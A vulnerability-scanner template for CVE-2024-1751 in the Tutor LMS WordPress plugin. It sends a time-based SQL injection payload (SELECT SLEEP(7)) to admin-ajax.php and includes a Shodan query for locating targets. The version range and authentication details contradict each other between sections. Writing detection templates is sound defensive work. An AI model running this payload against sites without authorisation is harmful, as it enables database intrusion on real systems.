CVE-2024-1751: Tutor LMS <= 2.1.10 - SQL Injection

id: CVE-2024-1751

info:
  name: Tutor LMS <= 2.1.10 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Tutor LMS – eLearning and online course solution plugin for WordPress [all versions up to 2.6.1] contains a time-based SQL Injection caused by insufficient escaping on the question_id parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive information, exploit requires attacker to be authenticated with subscriber or higher privileges.
  impact: |
    Authenticated attackers can extract sensitive database information through SQL injection, potentially leading to data breach or further exploitation.
  remediation: |
    Update to version 2.6.2 or later to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-2110-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/changeset?old=2919134%40tutor&new=2919134%40tutor
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1751
    epss-score: 0.03109
    epss-percentile: 0.87119
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/plugins/tutor/"
  tags: cve,cve2024,wordpress,wp-plugin,tutor,sqli,unauth,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /courses/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_tutor_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - "_tutor_nonce[\"']:\\s*[\"']([a-f0-9]+)[\"']"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=load_filtered_instructor&_tutor_nonce={{nonce}}&current_page=1&short_by=ASC%2C%28SELECT+SLEEP%287%29%29--+-

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "\"success\":true", "tutor-instructor-list")'
        condition: and
# digest: 490a00463044022037a0b75dedca01bed5bbc6b5bd571783bb74bbdd958b4ed947bed68b2b00f92802201e0eca970855bba81cf0a8c7051b04b874d548799d837ef7c0c907029cc8b85e:922c64590222798bb761d5b6d8e72950

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